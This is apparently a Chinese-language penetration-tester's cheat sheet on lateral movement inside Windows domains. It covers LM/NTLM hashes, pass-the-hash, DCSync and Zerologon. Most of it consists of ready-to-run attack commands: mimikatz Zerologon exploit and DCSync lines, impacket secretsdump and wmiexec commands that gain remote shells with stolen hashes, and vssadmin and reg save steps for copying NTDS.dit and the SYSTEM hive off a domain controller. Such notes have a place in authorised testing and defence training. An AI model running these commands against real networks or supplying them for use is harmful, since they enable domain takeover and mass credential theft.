在内网渗透中,域内横向移动是一种常见的攻击手法。攻击者会利用此技术,以被攻陷的系统为跳板,访问域内其他主机,扩大资产(包括跳板机中的文档和存储的凭证,以及通过跳板机连接的数据库,域控制器等其他重要资产)。通过此类攻击技术,攻击者最终很可能获取到域控制器的访问权限,甚至控制整个内网的机器权限。
0x00 LM Hash和NTLM Hash
在域环境中,用户信息存储在域控的ntds.dit(C:\Windows\NTDS\NTDS.dit)中;非域环境也就是在工作组环境中,当前主机用户的密码信息存储着在sam文件(C:\Windows\System32\config\SAM)。Windows操作系统通常使用两种方法(LM和NTLM)对用户的明文密码进行加密处理。
LM Hash其本质是使用DES加密,从windows vista和windows server2008开始 windows默认禁用LM Hash。如果LM Hash被禁用了,攻击者通过工具抓取LM Hash通常为”aad3b435b51404eeaad3b435b51404ee“(表示LM Hash为空或被禁用)。
NTLM Hash是基于MD4加密算法进行加密的。从windows vista和windows server2003以后均为NTLM Hash加密。
NTLM HASH比LM HASH的安全性要更高。
0x01 PTH&PTT&PTK
- PTH(传递哈希)
PTH,即Pass The Hash,首先我们来说下为什么要使用HASH传递,一是目标主机在win server 2012之后,lsass.exe进程中是抓不到明文密码的;二是随着信息安全意识的提高,弱口令情况逐渐降低,我们经常会遇到拿到hash却解不开的情况,综上,只要我们获取到hash,我们依然可以正常登录。
在Windows网络中,散列值就是用来证明身份的(有正确的用户名和密码散列值,就能通过验证),而微软自己的产品和工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来完成任务。在Windows Server 2012 R2及之后版本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制。
crackmapexec是一个可以对多个目标机进行批量PTH扫描的工具,且支持命令执行等功能。下载地址:戳我
- PTT(传递票据)
- PTK(传递密钥)
0x02 DCSync
DCSync是mimikatz的功能/命令。dcsync特点在于不用登录服务器,就可以远程通过域数据同步复制的方式模仿域控从真实的域控当中请求数据获得想要的用户hash。
在域内,机器用户跟域用户一样,是域内的成员,他在域内的用户名是机器用户+$(如DC2016$),在本地的用户名是SYSTEM,并且机器用户不可进行登录的,但是因为域控的机器用户具备Dcsync特权,我们就可以滥用该特权来进行Dcsync。
更多:戳我
0x03 Zerologon 域提权漏洞
利用条件: 已知域控主机名,可连接至域控445端口
在域中使用net time /domain
可获取时间服务器机器名(一般也是域控机器名)
可用漏洞重置域控机器名用户密码为空。
检测漏洞(mimikatz):
lsadump::zerologon /target:dc.domain.com /account:dc$
漏洞利用 (mimikatz):
lsadump::zerologon /target:dc.domain.com /account:dc$ /exploit
利用成功后可执行Dcsync,获取域管或krbtgt用户hash进行PTH或PTT(mimikatz) :
lsadump::dcsync /domain:domain.com /dc:dc.domain.com /user:Administrator /authuser:dc$ /authdomain:domain /authpassword:"" /authntlm
恢复密码(mimikatz):
lsadump::postzerologon /target:domain.com /account:dc$
PYTHON版利用工具:戳我
制空后还可以使用impacket中的secretsdump进行Dcsync获取域管hash(31d6cfe0d16ae931b73c59d7e0c089c0:31d6cfe0d16ae931b73c59d7e0c089c0为空密码的hash):
python secretsdump.py test.com/DC2016\$@DC2016 -dc-ip 192.168.110.16 -just-dc-user test\administrator -hashes 31d6cfe0d16ae931b73c59d7e0c089c0:31d6cfe0d16ae931b73c59d7e0c089c0
0x04 impacket
impacket本身是一个协议攻击套件,内部支持了非常多的协议利用。
下载地址:
主要记录wmiexec工具的使用方法。
- wmiexec.exe
如果密码有需要转义的字符就用双引号括上:
wmiexec.exe hacke/administrator:Admin!@#$4321@192.168.1.2
哈希:
wmiexec.exe -hashes :518B98AD4178A53695DC997AA02D455C 域名/administrator@192.168.3.123 "ipconfig"
- wmiexec.py
哈希传递获得shell:
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP
执行命令:
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig"
- wmiexec.vbs
Wmiexec.vbs
脚本通过VBS调用WMI来模拟PsExec功能。wmiexec.vbs可以在远程系统中执行命令并进行回显,获得远程主机的半交互式shell。下载地址:戳我(不能直接用wget下载,需要直接把代码复制下来编辑成.vbs
文件)
半交互模式:
cscript.exe //nologo wmiexec.vbs /shell ip username password
单命令执行:
cscript.exe wmiexec.vbs /cmd ip username password "command"
如果在wmiexec交互模式想下载机器文件到本地,可使用lget
命令(老版本是get
)。
0x05 从NTDS.dit获取域散列值
参考文章:戳我
vssadmin是Windows上的一个卷影拷贝服务的命令行管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息,显示已安装的所有卷影拷贝写入程序和提供程序,以及改变卷影拷贝的存储空间的大小等。
利用vssadmin命令从域控中提取ntds.dit文件的流程如下,需要域管理员权限操作:
- 在已经获取到权限的域控制器上执行如下命令,创建一个C盘的卷影拷贝:
vssadmin create shadow /for=C:
- 然后在创建的卷影拷贝中将ntds.dit复制到C盘中:
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\ntds.dit
- 最后将刚刚创建的卷影拷贝删除:
vssadmin delete shadows /for=c: /quiet
导出ntds.dit后,还需要导出SYSTEM,将system.hive转储,因为system.hive中存放着ntds.dit的密钥:
reg save hklm\system c:\system.hive
导出来 system.hive 和 ntds.dit 后,还需要想办法从Ntds.dit文件中导出其中的密码哈希散列值,经测试文章第一种方法(利用Esedbexport和Ntdsxtract工具)失败了(不知道什么原因)。
第二种方法(使用Impacket中的secretsdump)好使:
python secretsdump.py -system /目录/system.hive -ntds /目录/ntds.dit LOCAL